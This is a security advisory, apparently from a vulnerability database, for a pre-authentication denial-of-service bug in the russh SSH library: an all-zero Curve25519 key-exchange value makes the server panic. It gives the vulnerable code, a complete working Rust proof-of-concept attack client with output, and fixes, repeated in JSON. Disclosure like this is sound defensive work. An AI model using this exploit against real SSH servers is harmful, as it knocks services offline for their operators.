GHSA-5XVQ-CP9X-6P6R
Vulnerability from github – Published: 2026-07-24 16:45 – Updated: 2026-08-12 20:55A pre-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT
whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the
all-zero peer public value, so server_dh() computes the all-zero shared
secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...),
which indexes s[i] at i == s.len() and panics (index out of bounds:
the len is 32 but the index is 32) before host-key signature verification.
The server KEX task dies on the first KEX message, before authentication.
This is reachable with the default server configuration
(Config::default() → Preferred::DEFAULT, whose kex list includes
curve25519-sha256) and requires no caller-supplied parameter. It is
reproduced end-to-end against the unmodified real russh 0.62.2 library (a real
server + raw TCP client over TCP); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA advisories
(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not
Curve25519).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.
Details
russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):
fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
// only the 32-byte length is checked, NOT zero / low-order:
let mut pubkey = MontgomeryPoint([0; 32]);
pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73
...
let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32]
self.shared_secret = Some(shared); // line 86
Ok(())
}
The server then computes the exchange hash before verifying the host-key
signature (russh/src/server/kex.rs):
kex.server_dh(exchange, &input.buffer)?; // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics
compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose
leading-zero skip loop advances i to s.len() and then indexes s[i]
(russh/src/kex/mod.rs):
pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
let mut i = 0;
while i < s.len() && s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input
if s[i] & 0x80 != 0 { // line 482 — index out of bounds: s[s.len()]
...
On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32])
(the identity element), so the all-zero shared secret is attacker-controlled.
RFC 7748 §6 requires implementations to detect and reject all-zero / low-order
peer public values and shared secrets; russh does not. The client path
(compute_shared_secret, curve25519.rs:110-142) has the same chain but is
reached only after the server host-key signature is verified, so it requires a
malicious server that can sign its own host key (same root cause, lower
severity).
PoC
The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK
case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex),
proving the panic is caused specifically by the all-zero value.
One-line reproducer
# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519
russh/examples/e2e_t13_zero_curve25519.rs
// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;
#[tokio::main]
async fn main() {
println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");
let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
println!();
let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;
println!("\n=== summary ===");
println!("case | server panicked | got ECDH_REPLY");
println!("ATTACK | {atk_panic:<15} | {atk_reply} (Q_C = all-zero)");
println!("CONTROL | {ctl_panic:<15} | {ctl_reply} (Q_C = random non-zero)");
if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
println!(" all-zero Curve25519 point makes the real russh server panic");
println!(" inside encode_mpint (index out of bounds: len 32, index 32)");
println!(" during compute_exchange_hash, BEFORE host-key verification.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
enum QcKind { AllZero, Random }
async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
// real russh server, DEFAULT config (curve25519-sha256 in the kex list)
// + real Ed25519 host key.
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(
russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
);
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
session.await
});
// raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
let mut s = TcpStream::connect(addr).await.unwrap();
s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
s.flush().await.unwrap();
let _server_id = read_ssh_id(&mut s).await.unwrap();
let _server_kexinit = read_packet(&mut s).await.unwrap();
s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
s.flush().await.unwrap();
let q_c: [u8; 32] = match qc {
QcKind::AllZero => [0u8; 32],
QcKind::Random => {
let mut b: [u8; 32] = rand::random();
if b.iter().all(|&x| x == 0) { b[0] = 1; }
b
}
};
let mut ecdh_init = Vec::new();
ecdh_init.push(MSG_KEX_ECDH_INIT);
encode_string(&mut ecdh_init, &q_c);
s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
s.flush().await.unwrap();
let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");
let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
Ok(Ok(pkt)) => {
let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
is_reply
}
_ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
};
let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
let server_panicked = panicked.load(Ordering::SeqCst);
println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
let _ = std::panic::take_hook();
(server_panicked, got_reply)
}
#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }
fn kexinit_payload_curve25519() -> Vec<u8> {
let mut p = Vec::new();
p.push(MSG_KEXINIT);
p.extend_from_slice(&[0u8; 16]); // cookie
encode_name_list(&mut p, &["curve25519-sha256"]); // kex
encode_name_list(&mut p, &["ssh-ed25519"]); // host key
encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher
encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher
encode_name_list(&mut p, &["hmac-sha2-256"]); // c2s mac
encode_name_list(&mut p, &["hmac-sha2-256"]); // s2c mac
encode_name_list(&mut p, &["none"]); // c2s compression
encode_name_list(&mut p, &["none"]); // s2c compression
encode_name_list(&mut p, &[]); // c2s languages
encode_name_list(&mut p, &[]); // s2c languages
p.push(0); // first_kex_packet_follows = false
push_u32(&mut p, 0); // reserved
p
}
fn ssh_packet(payload: &[u8]) -> Vec<u8> {
let mut padding_len = 8 - ((5 + payload.len()) % 8);
if padding_len < 4 { padding_len += 8; }
let packet_len = 1 + payload.len() + padding_len;
let mut packet = Vec::with_capacity(4 + packet_len);
push_u32(&mut packet, packet_len as u32);
packet.push(padding_len as u8);
packet.extend_from_slice(payload);
packet.resize(packet.len() + padding_len, 0);
packet
}
async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
let mut len_buf = [0u8; 4];
stream.read_exact(&mut len_buf).await?;
let packet_len = BigEndian::read_u32(&len_buf) as usize;
let mut packet = vec![0u8; packet_len];
stream.read_exact(&mut packet).await?;
let padding_len = packet[0] as usize;
Ok(packet[1..packet.len() - padding_len].to_vec())
}
async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
let mut id = Vec::new();
loop {
let mut byte = [0u8; 1];
stream.read_exact(&mut byte).await?;
id.push(byte[0]);
if byte[0] == b'\n' { return Ok(id); }
}
}
fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
let mut bytes = [0u8; 4];
BigEndian::write_u32(&mut bytes, value);
buf.extend_from_slice(&bytes);
}
Real captured output (ATTACK, RUST_BACKTRACE=1):
[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
3: russh::kex::encode_mpint::<CryptoVec>
4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)
The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification.
Impact
Remote, pre-authentication denial of service of any russh SSH server using
the default configuration. A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e
+ 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the
server's KEX task before authentication. Because the panic is in an async russh
task it aborts that connection's handler; depending on the embedder's panic
containment it can also tear down the server if the panic is not contained
per-connection.
A malicious SSH server can symmetrically crash a russh client after
host-key verification by sending an all-zero Q_S in
SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the
server to control its own signed host key).
No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash.
CVSS
AV:N— reachable from a remote SSH peerAC:L— requires only a 32-byte all-zeroQ_CPR:N— pre-authenticationUI:N— no user interactionC:N,I:N— no confidentiality or integrity impact demonstratedA:H— remote unauthenticated crash of the server KEX task
Suggested fixes
Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in
server_dh() / compute_shared_secret():
if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }
and harden encode_mpint against the all-zero input:
if i == s.len() {
return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 §5
}
Affected versions
russh<= 0.62.3 (commitc4be19f1915c/ currentmainHEADv0.62.3, 2026-07-22). The bug is still present onmain; it is not covered by any of the 11 published russh GHSA advisories. Defaultserver::Configandclient::Configare affected (no feature flag or opt-in).
Credit
Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.62.3"
},
"package": {
"ecosystem": "crates.io",
"name": "russh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.62.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73430"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:45:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT`\nwhose `Q_C` is 32 zero bytes. russh\u0027s Curve25519 KEX does not reject the\nall-zero peer public value, so `server_dh()` computes the all-zero shared\nsecret and `compute_exchange_hash()` then calls `encode_mpint(\u0026shared.0, ...)`,\nwhich indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds:\nthe len is 32 but the index is 32`) **before host-key signature verification**.\nThe server KEX task dies on the first KEX message, before authentication.\n\nThis is reachable with the **default** server configuration\n(`Config::default()` \u2192 `Preferred::DEFAULT`, whose kex list includes\n`curve25519-sha256`) and requires **no caller-supplied parameter**. It is\nreproduced end-to-end against the unmodified real russh 0.62.2 library (a real\nserver + raw TCP client over TCP); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA advisories\n(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not\nCurve25519).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client):\n\n```rust\nfn server_dh(\u0026mut self, exchange: \u0026mut Exchange, payload: \u0026[u8]) -\u003e Result\u003c(), crate::Error\u003e {\n // only the 32-byte length is checked, NOT zero / low-order:\n let mut pubkey = MontgomeryPoint([0; 32]);\n pubkey.0.clone_from_slice(\u0026payload[5..5 + 32]); // line 73\n ...\n let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32]\n self.shared_secret = Some(shared); // line 86\n Ok(())\n}\n```\n\nThe server then computes the exchange hash **before** verifying the host-key\nsignature (`russh/src/server/kex.rs`):\n\n```rust\nkex.server_dh(exchange, \u0026input.buffer)?; // line 247\n...\nlet hash = kex.compute_exchange_hash(\u0026pubkey_vec, exchange, \u0026mut buffer)?; // line 274 \u2014 panics\n```\n\n`compute_exchange_hash()` calls `encode_mpint(\u0026shared.0, buffer)`, whose\nleading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]`\n(`russh/src/kex/mod.rs`):\n\n```rust\npub(crate) fn encode_mpint\u003cW: Writer\u003e(s: \u0026[u8], w: \u0026mut W) -\u003e Result\u003c(), Error\u003e {\n let mut i = 0;\n while i \u003c s.len() \u0026\u0026 s[i] == 0 { i += 1 } // i advances to s.len() for all-zero input\n if s[i] \u0026 0x80 != 0 { // line 482 \u2014 index out of bounds: s[s.len()]\n ...\n```\n\nOn Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])`\n(the identity element), so the all-zero shared secret is attacker-controlled.\nRFC 7748 \u00a76 requires implementations to detect and reject all-zero / low-order\npeer public values and shared secrets; russh does not. The client path\n(`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is\nreached only after the server host-key signature is verified, so it requires a\nmalicious server that can sign its own host key (same root cause, lower\nseverity).\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK\ncase (all-zero `Q_C` \u2192 panic) and a CONTROL case (random `Q_C` \u2192 completes kex),\nproving the panic is caused specifically by the all-zero value.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_t13_zero_curve25519\nRUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519\n```\n\n### `russh/examples/e2e_t13_zero_curve25519.rs`\n\n```rust\n// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics\n// russh\u0027s SSH exchange-hash computation.\n//\n// A real `russh::server` with `Config::default()` (curve25519-sha256 in the\n// default kex list) + a real Ed25519 host key is started on a TCP listener.\n// A raw TCP \"attacker\" client sends: SSH banner -\u003e SSH_MSG_KEXINIT offering\n// curve25519-sha256 -\u003e SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.\n// The server drives the real path server_dh -\u003e compute_exchange_hash -\u003e\n// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::Arc;\n\nuse byteorder::{BigEndian, ByteOrder};\nuse russh::server::{self, Handler};\nuse tokio::io::{AsyncReadExt, AsyncWriteExt};\nuse tokio::net::{TcpListener, TcpStream};\n\nconst MSG_KEXINIT: u8 = 20;\nconst MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 \u00a73\nconst MSG_KEX_ECDH_REPLY: u8 = 31;\n\n#[tokio::main]\nasync fn main() {\n println!(\"=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\\n\");\n\n let (atk_panic, atk_reply) = run_case(QcKind::AllZero, \"ATTACK \").await;\n println!();\n let (ctl_panic, ctl_reply) = run_case(QcKind::Random, \"CONTROL\").await;\n\n println!(\"\\n=== summary ===\");\n println!(\"case | server panicked | got ECDH_REPLY\");\n println!(\"ATTACK | {atk_panic:\u003c15} | {atk_reply} (Q_C = all-zero)\");\n println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_reply} (Q_C = random non-zero)\");\n\n if atk_panic \u0026\u0026 !atk_reply \u0026\u0026 !ctl_panic \u0026\u0026 ctl_reply {\n println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n println!(\" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the\");\n println!(\" all-zero Curve25519 point makes the real russh server panic\");\n println!(\" inside encode_mpint (index out of bounds: len 32, index 32)\");\n println!(\" during compute_exchange_hash, BEFORE host-key verification.\");\n } else {\n eprintln!(\"NOT reproduced\");\n std::process::exit(1);\n }\n}\n\nenum QcKind { AllZero, Random }\n\nasync fn run_case(qc: QcKind, label: \u0026\u0027static str) -\u003e (bool, bool) {\n let panicked = Arc::new(AtomicBool::new(false));\n {\n let flag = panicked.clone();\n let prev = std::panic::take_hook();\n std::panic::set_hook(Box::new(move |info| {\n flag.store(true, Ordering::SeqCst);\n eprintln!(\"[{label} server task panicked] {info}\");\n prev(info);\n }));\n }\n\n // real russh server, DEFAULT config (curve25519-sha256 in the kex list)\n // + real Ed25519 host key.\n let mut config = server::Config::default();\n config.inactivity_timeout = None;\n config.auth_rejection_time = std::time::Duration::from_millis(1);\n config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n config.keys.push(\n russh::keys::PrivateKey::random(\u0026mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),\n );\n let config = Arc::new(config);\n\n let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n let addr = listener.local_addr().unwrap();\n let server_task = tokio::spawn(async move {\n let (socket, _peer) = listener.accept().await.unwrap();\n let session = server::run_stream(config, socket, NoopHandler).await.unwrap();\n session.await\n });\n\n // raw attacker client: SSH banner -\u003e KEXINIT -\u003e ECDH_INIT(Q_C)\n let mut s = TcpStream::connect(addr).await.unwrap();\n s.write_all(b\"SSH-2.0-attacker\\r\\n\").await.unwrap();\n s.flush().await.unwrap();\n let _server_id = read_ssh_id(\u0026mut s).await.unwrap();\n let _server_kexinit = read_packet(\u0026mut s).await.unwrap();\n s.write_all(\u0026ssh_packet(\u0026kexinit_payload_curve25519())).await.unwrap();\n s.flush().await.unwrap();\n\n let q_c: [u8; 32] = match qc {\n QcKind::AllZero =\u003e [0u8; 32],\n QcKind::Random =\u003e {\n let mut b: [u8; 32] = rand::random();\n if b.iter().all(|\u0026x| x == 0) { b[0] = 1; }\n b\n }\n };\n let mut ecdh_init = Vec::new();\n ecdh_init.push(MSG_KEX_ECDH_INIT);\n encode_string(\u0026mut ecdh_init, \u0026q_c);\n s.write_all(\u0026ssh_packet(\u0026ecdh_init)).await.unwrap();\n s.flush().await.unwrap();\n let qdesc = match qc { QcKind::AllZero =\u003e \"all-zero\", QcKind::Random =\u003e \"random\" };\n println!(\"[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})\");\n\n let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(\u0026mut s)).await {\n Ok(Ok(pkt)) =\u003e {\n let is_reply = pkt.first() == Some(\u0026MSG_KEX_ECDH_REPLY);\n println!(\"[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})\", pkt.first());\n is_reply\n }\n _ =\u003e { println!(\"[{label}] read failed / connection closed (no ECDH_REPLY)\"); false }\n };\n\n let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n let server_panicked = panicked.load(Ordering::SeqCst);\n println!(\"[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}\");\n let _ = std::panic::take_hook();\n (server_panicked, got_reply)\n}\n\n#[derive(Clone)]\nstruct NoopHandler;\nimpl Handler for NoopHandler { type Error = russh::Error; }\n\nfn kexinit_payload_curve25519() -\u003e Vec\u003cu8\u003e {\n let mut p = Vec::new();\n p.push(MSG_KEXINIT);\n p.extend_from_slice(\u0026[0u8; 16]); // cookie\n encode_name_list(\u0026mut p, \u0026[\"curve25519-sha256\"]); // kex\n encode_name_list(\u0026mut p, \u0026[\"ssh-ed25519\"]); // host key\n encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // c2s cipher\n encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // s2c cipher\n encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]); // c2s mac\n encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]); // s2c mac\n encode_name_list(\u0026mut p, \u0026[\"none\"]); // c2s compression\n encode_name_list(\u0026mut p, \u0026[\"none\"]); // s2c compression\n encode_name_list(\u0026mut p, \u0026[]); // c2s languages\n encode_name_list(\u0026mut p, \u0026[]); // s2c languages\n p.push(0); // first_kex_packet_follows = false\n push_u32(\u0026mut p, 0); // reserved\n p\n}\n\nfn ssh_packet(payload: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n let mut padding_len = 8 - ((5 + payload.len()) % 8);\n if padding_len \u003c 4 { padding_len += 8; }\n let packet_len = 1 + payload.len() + padding_len;\n let mut packet = Vec::with_capacity(4 + packet_len);\n push_u32(\u0026mut packet, packet_len as u32);\n packet.push(padding_len as u8);\n packet.extend_from_slice(payload);\n packet.resize(packet.len() + padding_len, 0);\n packet\n}\n\nasync fn read_packet(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n let mut len_buf = [0u8; 4];\n stream.read_exact(\u0026mut len_buf).await?;\n let packet_len = BigEndian::read_u32(\u0026len_buf) as usize;\n let mut packet = vec![0u8; packet_len];\n stream.read_exact(\u0026mut packet).await?;\n let padding_len = packet[0] as usize;\n Ok(packet[1..packet.len() - padding_len].to_vec())\n}\n\nasync fn read_ssh_id(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n let mut id = Vec::new();\n loop {\n let mut byte = [0u8; 1];\n stream.read_exact(\u0026mut byte).await?;\n id.push(byte[0]);\n if byte[0] == b\u0027\\n\u0027 { return Ok(id); }\n }\n}\n\nfn encode_name_list(buf: \u0026mut Vec\u003cu8\u003e, names: \u0026[\u0026str]) { encode_string(buf, names.join(\",\").as_bytes()); }\nfn encode_string(buf: \u0026mut Vec\u003cu8\u003e, value: \u0026[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }\nfn push_u32(buf: \u0026mut Vec\u003cu8\u003e, value: u32) {\n let mut bytes = [0u8; 4];\n BigEndian::write_u32(\u0026mut bytes, value);\n buf.extend_from_slice(\u0026bytes);\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)\n[ATTACK server task panicked] panicked at russh/src/kex/mod.rs:482:8:\nindex out of bounds: the len is 32 but the index is 32\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/kex/mod.rs:482:8\nstack backtrace:\n 3: russh::kex::encode_mpint::\u003cCryptoVec\u003e\n 4: \u003cCurve25519Kex as KexAlgorithmImplementor\u003e::compute_exchange_hash\n 5: \u003cServerKex\u003e::step ... server::reply ... Session::run\n[ATTACK ] server task panicked = true, got ECDH_REPLY = false\n[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)\n[CONTROL] server task panicked = false, got ECDH_REPLY = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe backtrace confirms the real in-library call path on a tokio worker,\npre-authentication, before any host-key signature verification.\n\n## Impact\n\n**Remote, pre-authentication denial of service of any russh SSH server using\nthe default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e`\n+ `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the\nserver\u0027s KEX task before authentication. Because the panic is in an async russh\ntask it aborts that connection\u0027s handler; depending on the embedder\u0027s panic\ncontainment it can also tear down the server if the panic is not contained\nper-connection.\n\nA malicious SSH server can symmetrically crash a russh **client** after\nhost-key verification by sending an all-zero `Q_S` in\n`SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity \u2014 requires the\nserver to control its own signed host key).\n\nNo confidentiality/integrity break is demonstrated. The all-zero shared secret\nwould itself be a catastrophic key-compromise if russh did not already crash,\nbut the observed impact is the crash.\n\n### CVSS\n\n- `AV:N` \u2014 reachable from a remote SSH peer\n- `AC:L` \u2014 requires only a 32-byte all-zero `Q_C`\n- `PR:N` \u2014 pre-authentication\n- `UI:N` \u2014 no user interaction\n- `C:N`, `I:N` \u2014 no confidentiality or integrity impact demonstrated\n- `A:H` \u2014 remote unauthenticated crash of the server KEX task\n\n### Suggested fixes\n\nReject all-zero / low-order Curve25519 peer public values (RFC 7748 \u00a76) in\n`server_dh()` / `compute_shared_secret()`:\n\n```rust\nif client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }\n```\n\nand harden `encode_mpint` against the all-zero input:\n\n```rust\nif i == s.len() {\n return 0u32.encode(w); // all-zero mpint = empty string per RFC 4251 \u00a75\n}\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n by any of the 11 published russh GHSA advisories. Default `server::Config`\n and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nIndependently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl).",
"id": "GHSA-5xvq-cp9x-6p6r",
"modified": "2026-08-12T20:55:41Z",
"published": "2026-07-24T16:45:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.